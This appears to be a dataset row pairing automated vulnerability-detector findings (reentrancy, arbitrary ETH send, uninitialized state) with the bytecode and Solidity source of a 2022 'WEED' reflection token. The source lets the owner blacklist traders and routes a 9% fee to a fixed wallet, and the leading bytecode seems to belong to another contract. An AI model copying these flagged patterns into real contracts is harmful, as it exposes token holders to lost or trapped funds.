48160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122042a25fa1d24c5faede7a99725d2d4226584688818b6ab95f42dc06e6c8276d5b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,794 |
0x71a6786598a1a406aac4f0fac573b323bb714417
|
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
/**
💚💚🌿🌿420 Cannabis🌿🌿💚💚
🌐 Website: https://weed4twentycannabis.com/
💬 Telegram: https://t.me/weedfourtwentyCannabis
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WEED is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 420000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "WEED";
string private constant _symbol = "WEED";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x45aB0F0D4859Cf6990F272af076f7c1004418355);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4200000 * 10**9;
_maxWalletSize = 12600000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612ddb565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906128e2565b6104b4565b60405161018e9190612dc0565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612f7d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612922565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d919061288f565b61060c565b60405161021f9190612dc0565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906127f5565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612ff2565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e919061296b565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c791906129c5565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c600480360381019061030791906127f5565b6109db565b6040516103199190612f7d565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612cf2565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612ddb565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906128e2565b610c9a565b6040516103da9190612dc0565b60405180910390f35b3480156103ef57600080fd5b5061040a600480360381019061040591906129c5565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061284f565b611373565b60405161046e9190612f7d565b60405180910390f35b60606040518060400160405280600481526020017f5745454400000000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113fa565b8484611402565b6001905092915050565b60006705d423c655aa0000905090565b6104ea6113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612ebd565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b61333a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090613293565b91505061057a565b5050565b60006106198484846115cd565b6106da846106256113fa565b6106d5856040518060600160405280602881526020016136f960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113fa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c609092919063ffffffff16565b611402565b600190509392505050565b6106ed6113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612ebd565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612ebd565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612ebd565b60405180910390fd5b6000811161093257600080fd5b6109606064610952836705d423c655aa0000611cc490919063ffffffff16565b611d3f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113fa565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d89565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df5565b9050919050565b610a346113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612ebd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612ebd565b60405180910390fd5b6705d423c655aa0000600f819055506705d423c655aa0000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5745454400000000000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113fa565b84846115cd565b6001905092915050565b610cc06113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612ebd565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a836705d423c655aa0000611cc490919063ffffffff16565b611d3f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113fa565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e63565b50565b610e136113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612ebd565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612f5d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166705d423c655aa0000611402565b8073f